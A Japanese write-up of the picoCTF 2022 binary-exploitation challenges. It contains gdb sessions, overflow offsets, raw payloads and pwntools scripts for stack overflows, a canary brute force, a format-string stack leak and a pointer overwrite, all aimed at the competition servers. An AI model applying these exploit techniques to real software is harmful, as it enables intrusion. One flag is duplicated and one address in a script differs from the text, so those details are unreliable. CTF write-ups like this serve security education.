picoCTF 2022 writeup[pwn]

問題ファイルや私がかいたソルバは()にあります。

basic-file-exploit (100pts)

配布されたプログラムを見ると、data_read()関数では受け取ったentry_numberから1引いた数を用いてdataから文字列を取ってきています。そして、global変数の並びは

static const char* flag = "[REDACTED]";
static char data[10][100];

なので、entry_numberに0を入れればdata_read()関数で読まれるデータはdata[-1]、すなわちflagになりそうな気がします。実際なるので勝ちです。

picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_25D6CDDB}

buffer overflow 0 (100pts)

配布されたプログラムを見ると分かる通り、この問題ではbuffer overflowさせてSIGSEGVを発生させるとflagを出してくれます。適当にFLAGSIZE_MAX、つまり64文字を超える長さの入力をしてbuffer overflowさせればよいです。

picoCTF{ov3rfl0ws_ar3nt_that_bad_ee2fd2b1}

CVE-XXXX-XXXX (100pts)

はじめてWindowsの印刷スプーラーのRCEに関する脆弱性が報告されたのはCVE-2021-34527らしいです。がんばって検索しましょう.

picoCTF{CVE-2021-34527}

buffer overflow 1 (200pts)

vuln()関数内のgets(buf)の脆弱性を使ってwin()関数を呼ぼう、という問題です。
まずは適当に文字列を生成してbuffer overflowさせ、レジスタの書きかわりの様子を見ます。

gdb-peda$ pattern_create 80
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A'
gdb-peda$ run
Starting program: /home/altair626/workspace/picoctf2022/binary/buffer_overflow_1/vuln 
Please enter your string: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A
Okay, time to return... Fingers Crossed... Jumping to 0x41414641

Program received signal SIGSEGV, Segmentation fault.
[--------------------------------------registers--------------------------------------]
EAX: 0x41 (b'A')
EBX: 0x61414145 (b'EAAa')
ECX: 0x41 (b'A')
EDX: 0xf7fb8890 --> 0x0
ESI: 0xf7fb7000 --> 0x1d4d8c
EDI: 0x0
EBP: 0x41304141 (b'AA0A')
ESP: 0xffffcfc0 ("bAA1AAGAAcAA2AA"...)
EIP: 0x41414641 (b'AFAA')
[----------------------------------------code-----------------------------------------]
Invalid $PC address: 0x41414641
[----------------------------------------stack----------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x41414641 in ?? ()

EIPレジスタが0x41414641 (b'AFAA')に書き換わっていますね。よって、入力した文字列のAFAAの部分をwin()のアドレスに換えればwin()を呼んでくれそうです。

gdb-peda$ patto AFAA
AFAA found at offset: 44
gdb-peda$ x win
0x80491f6 <win>:        "\363\017\036\373U\211\345S\203\354T\350*\377\377"...

ですから、適当に44文字入れたあと、\xf6\x91\x04\x08を入れればよいです(リトルエンディアンに注意)。

from pwn import *

r = remote('saturn.picoctf.net', 61044, level = 'debug')

inp = "A"*44 + "\xf6\x91\x04\x08"
print(r.recvline())
r.sendline(inp)
print(r.recvline())
print(r.recvline())

picoCTF{addr3ss3s_ar3_3asy_60fac6aa}

RPS (200pts)

じゃんけんに連勝するとflagがもらえるプログラムです。よ~く見ると入力をrockpaperscissorsにすれば絶対勝ててしまうバグがあるのでそれをするだけです。

picoCTF{50M3_3X7R3M3_1UCK_32F730C2}

x-sixty-what (200pts)

x64でbuffer overflow 1と同様のbuffer overflowによるRIPの書き換えをする問題です。
x64でpwnするときの注意点の「リターンアドレス」の節で言われているように、x64では雑にbuffer overflowさせるとRIPは書き換わらず、スタックの様子を見に行く必要があるようです。

gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ run
Starting program: /home/altair626/workspace/picoctf2022/binary/x-sixty-what/vuln 
Welcome to 64-bit. Give me a string that gets you the flag: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL 

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------------------registers-----------------------------------------------]
RAX: 0x7fffffffde20 ("AAA%AAsAABAA$AA"...)
RBX: 0x0
RCX: 0x7ffff7dcda00 --> 0xfbad2288
RDX: 0x7ffff7dcf8d0 --> 0x0
RSI: 0x4052c4 --> 0xa (b'\n')
RDI: 0x7fffffffde84 --> 0x7f00
RBP: 0x4141334141644141 (b'AAdAA3AA')
RSP: 0x7fffffffde68 ("IAAeAA4AAJAAfAA"...)
RIP: 0x4012d1 (<vuln+31>:       ret)
R8 : 0x4052c5 --> 0x0
R9 : 0x0
R10: 0x405010 --> 0x0
R11: 0x7ffff7b9eda0 --> 0xfffb14c0fffb12f8
R12: 0x401150 (<_start>:        endbr64)
R13: 0x7fffffffdf70 --> 0x1
R14: 0x0
R15: 0x0
[-------------------------------------------------code-------------------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x00000000004012d1 in vuln ()
gdb-peda$ info frame
Stack level 0, frame at 0x7fffffffde68:
 rip = 0x4012d1 in vuln; saved rip = 0x4134414165414149
 called by frame at 0x7fffffffde78
 Arglist at 0x7fffffffde60, args:
 Locals at 0x7fffffffde60, Previous frame's sp is 0x7fffffffde70
 Saved registers:
  rip at 0x7fffffffde68

スタックを見るとsaved rip = 0x4134414165414149 (リトルエンディアンなので、IAAeAA4A)です。よって、

gdb-peda$ patto IAAeAA4A
IAAeAA4A found at offset: 72
gdb-peda$ x flag
0x401236 <flag>:        0xe5894855fa1e0ff3

より、IAAeAA4Aがあった73~80文字目を0x0000000000401236に書き換えれば勝ちです。

from pwn import *

r = remote('saturn.picoctf.net', 61658, level = 'debug')
inp = "A"*72 + "\x3b\x12\x40\x00\x00\x00\x00\x00"

print(r.recvline())
r.sendline(inp)
print(r.recvline())
print(r.recvline())

picoCTF{b1663r_15_b3773r_011d4bd8}

buffer overflow 2 (300pts)

buffer overflowによりwin()を呼ぶのですが、引数1が0xCAFEF00D、引数2が0xF00DF00Dになっていなければいけません。これを実現するためには、書き換えたあとのstackが

            [lower address]
       |         ...             |
       +-------------------------+
ebp -> | address of win()        | 0x08049296
       +-------------------------+
       | return address of win() | なんでもいい
       +-------------------------+
       | argument 1              | 0xcafef00d
       +-------------------------+
       | argument 2              | 0xf00df00d
       +-------------------------+
       |         ...             |
            [higher address]

となっていればよいです。gdbで調べるとeipに書かれる位置は113-116文字目、win()のアドレスは0x08049296なので、入力すべきバイナリは
"A"*112 + "\x96\x92\x04\x08BBBB\x0d\xf0\xfe\xca\x0d\xf0\x0d\xf0"
となります。

picoCTF{b1663r_15_b3773r_011d4bd8}

buffer overflow 3 (300pts)

stack canaryを書き換えないようにbuffer overflowをする必要があります。しかしリモートマシンで動いているプログラムで設定されているcanaryの値がわからないので、推測する必要があります。
canaryを1文字でも書き換えると***** Stack Smashing Detected *****というエラーメッセージが出るので、1文字だけ書き換わるような入力を繰り返してエラーメッセージがでないときの文字が正解であるとわかります。以下のようにcanaryを当てるプログラムを書きました。

from pwn import *

inp = "s"*64

for _ in range(4):
    for i in range(20, 128):
        r = remote('saturn.picoctf.net', 63460)
        estimated_inp = inp + chr(i)
        r.recvline()
        r.sendline(str(len(estimated_inp)))
        r.sendline(estimated_inp)
        ret = r.recvline()
        if "Stack Smashing" not in str(ret):
            print("get chr of canary:", i)
            break
    inp += chr(i)
    print(inp)

r = remote('saturn.picoctf.net', 63460, level = 'debug')
inp += "A"*16 + "\x36\x93\x04\x08"
r.recvline()
r.sendline(str(len(inp)))
r.sendline(inp)
print(r.recvline())
print(r.recvline())

canaryはBiRdでした。
picoCTF{Stat1C_c4n4r13s_4R3_b4D_f7c1f50a}

flag leak (300pts)

scanf("%127s", story);で読んだ文字列をそのままprintf(story);と書式を指定せずに使っています。書式文字列攻撃をしたくなりますね。%p%p%p%p...%p%p%p%p%p%p%p%p%pをたくさん入力してstackの中身を吐き出させると

0xff9640300xff9640500x80493460x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x2570250x6f6369700x7b4654430x6b34334c0x5f676e310x67346c460x6666305f0x3474535f0x655f6b630x346239620x7d3261360xfbad20000xfba3fd00(nil)0xf7fb09900x804c0000x8049410(nil)0x804c0000xff9641180x80494180x20xff9641c40xff9641d0(nil)0xff964130(nil)(nil)0xf7da6ee5

という出力がでて、このうちascii文字がかたまっている0x6f6369700x7b4654430x6b34334c0x5f676e310x67346c460x6666305f0x3474535f0x655f6b630x346239620x7d326136の部分がflagになっています。

picoCTF{L34k1ng_Fl4g_0ff_St4ck_eb9b46a2}

wine (300pts)

exeファイルが渡されますが、やることはbuffer overflow 1と同じくbuffer overflowによるeipの書き換えです。ollydbgをつかって解析すると、入力文字列のうちeipに書かれる部分のoffsetは140、win()関数のアドレスは0x00401530なので、入力すべきバイナリは
inp = "x" * 140 + "\x30\x15\x40\x00"です。

picoCTF{Un_v3rr3_d3_v1n_bb39a2a4}

function overwrite (400pts)

fun[num1] += num2;という操作を上手に使ってglobal変数のcheckの値をhard_checker()の関数アドレスからeasy_checker()の関数アドレスに書き換えます。
funのアドレスは0x0804c080、checkのアドレスは0x0804c040で差が64バイトなので、num1を-16にすればよいです。
また、hard_checker()のアドレスは0x08049436、easy_checker()のアドレスは0x080492fcで差が314なので、num2は-314にすればよいです。
story_scoreが1337になる文字列の一つにaaaaaaaaaaaaaLがあるので、

aaaaaaaaaaaaaL
-16 -314

を順に入力すればflagが手に入ります。
picoCTF{0v3rwrit1ng_P01nt3rs_f61460f0}

stack cache (400pts)

win()を呼んでflagを読ませてからUnderConstruction()を呼ぶとUnderConstruction()中のprintfが良い感じにflagを吐いてくれそうな気がします。
win()のアドレスが0x08049da0、UnderConstruction()のアドレスが0x08049e20なので、
inp = "xxxxxxxxxxxxxx\xa0\x9d\x04\x08\x20\x9e\x04\x08"
を送るとflagを手に入れることができました。

picoCTF{Cle4N_uP_M3m0rY_9bd1733a}